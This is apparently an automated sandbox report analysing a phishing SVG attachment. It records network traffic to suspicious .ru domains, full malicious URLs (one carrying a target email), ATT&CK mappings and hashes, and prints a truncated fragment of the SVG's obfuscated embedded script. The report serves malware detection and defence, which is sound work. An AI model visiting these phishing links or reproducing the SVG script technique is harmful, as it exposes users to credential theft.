cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://dspr.fokmsumz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://dspr.fokmsumz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://dspr.fokmsumz.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: dspr.fokmsumz.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: n3e1ge.tjezyf.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: kx3eyb8yvsqrdcu1zi3xeklhxqa50dfrz9jsjibp0mxppvrewl1.uagholdings.ru

Source: unknown

HTTP traffic detected: POST /report/v4?s=atSJi6%2FTfV4d6j5bZRvhk932IE%2B%2FNmQkzst2yWCPi3W7auiDqSofJbl%2FK4HKQyIeXdjWvT%2BwvfUDrx2%2BGVJeoDs1YP04wgC%2Fx3%2FpaH9yIEwb5QOSLTHNvEHlmP6yfSaJApOb HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 442Content-Type: application/reports+jsonOrigin: https://dspr.fokmsumz.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: cloudflareDate: Thu, 13 Mar 2025 18:57:59 GMTContent-Type: text/htmlContent-Length: 553Connection: closeCF-RAY: 91fdc29b98069723-AMS

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64185
Source: unknown	Network traffic detected: HTTP traffic on port 64167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64177
Source: unknown	Network traffic detected: HTTP traffic on port 64193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64193
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 64168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64160
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64164
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64156
Source: unknown	Network traffic detected: HTTP traffic on port 64172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64170
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64171
Source: unknown	Network traffic detected: HTTP traffic on port 64174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64174
Source: unknown	Network traffic detected: HTTP traffic on port 64180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64166
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6888_1231656168

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6888_1231656168

Source: classification engine

Classification label: mal100.phis.evad.winSVG@20/0@40/261

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\attach.svg
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1904,i,10404701318735321305,10946732539971933626,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1904,i,10404701318735321305,10946732539971933626,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner	Label
https://www.w3schools.com/w3css/4/w3.css	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=atSJi6%2FTfV4d6j5bZRvhk932IE%2B%2FNmQkzst2yWCPi3W7auiDqSofJbl%2FK4HKQyIeXdjWvT%2BwvfUDrx2%2BGVJeoDs1YP04wgC%2Fx3%2FpaH9yIEwb5QOSLTHNvEHlmP6yfSaJApOb	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=wqPGpDd0uvBv7bakp4soyerldn1FyQmBa%2B%2BCz1ZcfcEn3Bs%2BihpyoNHvMGyDTEIotlbsv%2BwuN9RD%2BPKxve%2F2kWGMqKn5%2FjUZxvBCFIIRZgAQn8OCf9I4d0JTeQgToEOYy8Ea	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
n3e1ge.tjezyf.ru	104.21.3.223	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.121.4	true	false	high
dspr.fokmsumz.ru	172.67.209.251	true	true	unknown
kx3eyb8yvsqrdcu1zi3xeklhxqa50dfrz9jsjibp0mxppvrewl1.uagholdings.ru	188.114.96.3	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	104.26.1.100	true	false	high
www.google.com	142.250.185.68	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.14	true	false	high
objects.githubusercontent.com	185.199.111.133	true	false	high
a1400.dscb.akamai.net	72.247.154.153	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high
www.w3schools.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://dspr.fokmsumz.ru/awrgihmhaysnufhcxsmugmxaoaqjkzm8h2rjgv69z9snabi7ugqt5?HWGBQAIFGTYIPPDDHZHQI	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2	false	Avira URL Cloud: safe	unknown
https://dspr.fokmsumz.ru/i5qkv/$wi@nkychamber.com	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://www.w3schools.com/w3css/4/w3.css	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=atSJi6%2FTfV4d6j5bZRvhk932IE%2B%2FNmQkzst2yWCPi3W7auiDqSofJbl%2FK4HKQyIeXdjWvT%2BwvfUDrx2%2BGVJeoDs1YP04wgC%2Fx3%2FpaH9yIEwb5QOSLTHNvEHlmP6yfSaJApOb	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=wqPGpDd0uvBv7bakp4soyerldn1FyQmBa%2B%2BCz1ZcfcEn3Bs%2BihpyoNHvMGyDTEIotlbsv%2BwuN9RD%2BPKxve%2F2kWGMqKn5%2FjUZxvBCFIIRZgAQn8OCf9I4d0JTeQgToEOYy8Ea	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.206.74	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.33.187.14	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.26.1.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
185.199.111.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
142.250.81.238	unknown	United States	15169	GOOGLEUS	false
142.250.181.238	unknown	United States	15169	GOOGLEUS	false
172.217.23.99	unknown	United States	15169	GOOGLEUS	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.186.163	unknown	United States	15169	GOOGLEUS	false
13.33.187.68	unknown	United States	16509	AMAZON-02US	false
104.21.3.223	n3e1ge.tjezyf.ru	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
64.233.167.84	unknown	United States	15169	GOOGLEUS	false
172.67.209.251	dspr.fokmsumz.ru	United States	13335	CLOUDFLARENETUS	true
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	kx3eyb8yvsqrdcu1zi3xeklhxqa50dfrz9jsjibp0mxppvrewl1.uagholdings.ru	European Union	13335	CLOUDFLARENETUS	false
72.247.154.153	a1400.dscb.akamai.net	United States	20940	AKAMAI-ASN1EU	false
172.217.16.195	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637660
Start date and time:	2025-03-13 19:56:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	attach.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@20/0@40/261
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195, 172.217.18.14, 142.250.181.238, 64.233.167.84
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: dspr.fokmsumz.ru

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	6.059906511146949
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	attach.svg
File size:	813 bytes
MD5:	19aff8af3e0e88556df84abdab2f7362
SHA1:	ee710c36160f82921e48ef07dc98852fc9738a60
SHA256:	4618a111de3513406591854d5bab4a33f15c48205134c0ae88e50c0d4fafcfec
SHA512:	663258a71b8f10f8881000fd033ca9f9ac8c49006ed7584329038c2aa7ed802449520119d3b36ea25dfa364cc93c29ae98f5ad2a0d5432b400de1f2afe35c5de
SSDEEP:	12:TMHdtLOoNAgFjLz0Ok9YOCY7yuHen6CYmuQm1QpRPvWaM1FhsdIaAJQuiNV4/:2dtLOoTFzk9Y4yuHG014R3BnItuFNV4/
TLSH:	560175EFF018BD70ADF4565F45E2104D1F29A724E6D8414B84A438CA06CC9AB176AFD8
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">.<script>.<![CDATA[.JFFISSUnnzOkFs = `$wi@nkychamber.com`;.(() => { const sWOKhk = (BXnUOg) => BXnUOg.replace(/[A-Za-z]/g, (OJsXpu) =>

File Icon


Icon Hash:	173149cccc490307

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report attach.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Software Vulnerabilities

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

Static File Info

General

File Icon

Windows Analysis Report
attach.svg